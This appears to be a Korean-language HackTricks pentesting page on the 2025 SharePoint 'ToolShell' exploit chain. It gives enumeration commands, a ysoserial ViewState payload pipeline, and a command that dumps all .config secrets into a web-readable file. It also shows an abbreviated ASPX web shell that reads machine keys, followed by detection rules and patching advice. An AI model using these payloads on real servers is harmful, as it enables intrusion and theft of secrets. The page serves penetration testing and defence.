Microsoft SharePoint – Pentesting & Exploitation

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Microsoft SharePoint (온프레미스)는 ASP.NET/IIS 위에 구축되어 있습니다. 따라서 대부분의 고전적인 웹 공격 표면(ViewState, Web.Config, 웹 셸 등)이 존재하지만, SharePoint는 수백 개의 독점 ASPX 페이지와 웹 서비스를 함께 제공하여 노출된 공격 표면을 크게 확장합니다. 이 페이지는 Unit42에 의해 공개된 2025 exploit chain(CVE-2025-49704/49706/53770/53771)에 중점을 두고 SharePoint 환경 내에서 열거, 악용 및 지속하는 실용적인 요령을 수집합니다.

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 exploit chain (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – ToolPane.aspx에서의 코드 주입

/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=<payload>는 페이지에 임의의 Server-Side Include 코드를 주입할 수 있게 하며, 이는 나중에 ASP.NET에 의해 컴파일됩니다. 공격자는 Process.Start()를 실행하는 C#을 삽입하고 악성 ViewState를 드롭할 수 있습니다.

2.2 CVE-2025-49706 – 부적절한 인증 우회

같은 페이지는 사이트 컨텍스트를 결정하기 위해 X-Forms_BaseUrl 헤더를 신뢰합니다. 이를 /_layouts/15/로 지정하면, 루트 사이트에서 강제된 MFA/SSO를 인증되지 않은 상태로 우회할 수 있습니다.

2.3 CVE-2025-53770 – 인증되지 않은 ViewState 역직렬화 → RCE

공격자가 ToolPane.aspx에서 가젯을 제어하게 되면, .NET 역직렬화를 유발하는 서명되지 않은 (또는 MAC 전용) __VIEWSTATE 값을 게시할 수 있으며, 이는 w3wp.exe 내에서 코드 실행으로 이어집니다.

서명이 활성화된 경우, 임의의 web.config에서 ValidationKey/DecryptionKey를 훔치고 ysoserial.net 또는 ysodom을 사용하여 페이로드를 위조하십시오.

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

For an in-depth explanation on abusing ASP.NET ViewState read:
{{#ref}}
../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md
{{#endref}}

2.4 CVE-2025-53771 – 경로 탐색 / web.config 노출

ToolPane.aspx에 조작된 Source 매개변수(예: ../../../../web.config)를 보내면 대상 파일이 반환되어 다음과 같은 정보가 유출됩니다:

  • <machineKey validationKey="…" decryptionKey="…"> ➜ ViewState / ASPXAUTH 쿠키 위조
  • 연결 문자열 및 비밀.

3. 실제에서 관찰된 포스트 익스플로잇 레시피

3.1 모든 .config 파일 추출 (변형-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

결과적으로 생성된 debug_dev.js는 익명으로 다운로드할 수 있으며 모든 민감한 구성을 포함합니다.

3.2 Base64로 인코딩된 ASPX 웹 셸 배포 (변형-2)

powershell.exe -EncodedCommand <base64>

디코딩된 페이로드 예시 (축약됨):

csharp
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

작성 대상:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

쉘은 머신 키를 읽고 회전하는 엔드포인트를 노출하여 ViewState 및 ASPXAUTH 쿠키를 농장 전역에서 위조할 수 있게 합니다.

3.3 난독화된 변형 (variation-3)

같은 쉘이지만:

  • ...\15\TEMPLATE\LAYOUTS\ 아래에 배치됨
  • 변수 이름이 단일 문자로 축소됨
  • 샌드박스 회피 및 타이밍 기반 AV 우회를 위해 Thread.Sleep(<ms>) 추가됨.

4. 탐지 아이디어

텔레메트리의심스러운 이유
w3wp.exe → cmd.exe워커 프로세스는 드물게 쉘을 생성해야 함
cmd.exe → powershell.exe -EncodedCommand고전적인 lolbin 패턴
debug_dev.js 또는 spinstall0.aspx 파일 이벤트 생성ToolShell에서 직접 가져온 IOC
ProcessCmdLine CONTAINS ToolPane.aspx (ETW/모듈 로그)공개 PoC가 이 페이지를 호출함

예시 XDR / Sysmon 규칙 (의사-XQL):

proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")

5. 강화 및 완화

  1. 패치 – 2025년 7월 보안 업데이트가 모든 네 개의 CVE를 수정합니다.
  2. 회전 – 손상된 후 모든 <machineKey>ViewState 비밀을 회전합니다.
  3. WSS_WPGWSS_ADMIN_WPG 그룹에서 LAYOUTS 쓰기 권한을 제거합니다.
  4. 프록시/WAF 수준에서 /_layouts/15/ToolPane.aspx에 대한 외부 접근을 차단합니다.
  5. ViewStateUserKey, MAC 활성화, 및 사용자 정의 EventValidation을 활성화합니다.

관련 트릭

  • IIS 사후 활용 및 web.config 남용: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}}

참고 문헌

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기